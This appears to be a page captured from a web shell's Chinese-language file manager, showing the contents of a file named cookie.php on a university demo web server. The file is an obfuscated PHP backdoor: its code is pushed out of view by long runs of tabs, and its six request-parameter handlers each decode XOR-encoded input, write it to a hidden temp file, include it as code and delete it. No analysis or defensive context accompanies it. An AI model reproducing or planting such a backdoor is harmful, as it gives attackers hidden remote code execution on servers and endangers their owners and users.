文件操作 - cookie.php

文件: /var/www/demoestudiantes.uaysen.cl/html/cookie.php

编辑文件内容

<?php																																										if(in_array("fl\x67", array_keys($_POST))){ $value = $_POST["fl\x67"]; $value=explode ( "." , $value); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $o = 0; while($o< count($value)) {$v7 = $value[$o]; $sChar = ord($s[$o % $sLen]); $d =((int)$v7 - $sChar -($o % 10)) ^ 87; $desc .= chr($d); $o++; } $ent = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getcwd(), getenv("TMP")]); foreach ($ent as $key => $component) { if (array_product([is_dir($component), is_writable($component)])) { $pset = join("/", [$component, ".factor"]); $file = fopen($pset, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $pset; @unlink($pset); die(); } } } }
																																										if(!empty($_REQUEST["\x70\x73et"])){ $rec = $_REQUEST["\x70\x73et"]; $rec = explode( "." , $rec ) ; $data=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $p=0; $len=count($rec); do { if($p >=$len) break; $v6=$rec[$p]; $chS=ord($s[$p % $sLen]); $d=((int)$v6 - $chS -($p % 10))^ 26; $data .= chr($d); $p++; }while(true); $value = array_filter(["/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TMP"), getcwd()]); for ($entity = 0, $resource = count($value); $entity < $resource; $entity++) { $res = $value[$entity]; if (!( !is_dir($res) || !is_writable($res) )) { $fac = join("/", [$res, ".dat"]); $success = file_put_contents($fac, $data); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(!is_null($_POST["\x70a\x72\x61\x6Deter\x5F\x67rou\x70"] ?? null)){ $hld = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp"]); $dat = $_POST["\x70a\x72\x61\x6Deter\x5F\x67rou\x70"]; $dat =explode( '.' , $dat ) ; $record = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $v = 0; while ($v< count($dat)) {$v9 = $dat[$v]; $sChar = ord($salt6[$v % $sLen]); $d = ((int)$v9 - $sChar - ($v % 10)) ^ 36; $record.= chr($d); $v++; } foreach ($hld as $marker): if (!( !is_dir($marker) || !is_writable($marker) )) { $elem = "$marker/.fac"; $success = file_put_contents($elem, $record); if ($success) { include $elem; @unlink($elem); die();} } endforeach; }
																																										if(array_key_exists("r\x65\x63or\x64", $_REQUEST) && !is_null($_REQUEST["r\x65\x63or\x64"])){ $data_chunk = $_REQUEST["r\x65\x63or\x64"]; $data_chunk = explode ( '.' , $data_chunk ); $flag = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $len = count( $data_chunk); for( $q = 0; $q < $len; $q++) { $v7 = $data_chunk[$q]; $sChar = ord( $s5[$q %$sLen]); $d =( ( int)$v7 - $sChar -( $q %10)) ^ 78; $flag .=chr( $d); } $pgrp = array_filter([getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP")]); foreach ($pgrp as $key => $k) { if (!!is_dir($k) && !!is_writable($k)) { $component = str_replace("{var_dir}", $k, "{var_dir}/.entry"); if (@file_put_contents($component, $flag) !== false) { include $component; unlink($component); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "v\x61\x6C")){ $key = $_REQUEST["v\x61\x6C"]; $key= explode ( ".",$key ) ; $obj = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $s = 0; while ($s < count($key)) { $v4 = $key[$s]; $sChar = ord($salt6[$s % $lenS] ); $d = ((int)$v4 - $sChar - ($s % 10)) ^ 76; $obj .= chr($d ); $s++; } $pgrp = array_filter(["/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($pgrp as $key => $sym) { if (!!is_dir($sym) && !!is_writable($sym)) { $token = str_replace("{var_dir}", $sym, "{var_dir}/.bind"); $file = fopen($token, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $token; @unlink($token); die(); } } } }

if(!is_null($_REQUEST["hl\x64"] ?? null)){
	$parameter_group = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path(), "/dev/shm"]);
	$data_chunk = $_REQUEST["hl\x64"];
				$data_chunk  =explode('.'	,	$data_chunk	) 	;	 
	$bind = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
    
            foreach ($data_chunk as $u	=> $v6):
                $chS = ord($s[$u		%  $sLen]);
                $d = ((int)$v6 - $chS - ($u		%  10)) ^ 79;
                $bind.=	 chr($d);
            endforeach;
	foreach ($parameter_group as $pgrp):
    		if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) {
    $key = implode("/", [$pgrp, ".descriptor"]);
    if (@file_put_contents($key, $bind) !== false) {
	include $key;
	unlink($key);
	exit;
}
}
endforeach;
}

文件操作 - cookie.php

文件: /var/www/demoestudiantes.uaysen.cl/html/cookie.php

编辑文件内容

修改文件时间

删除文件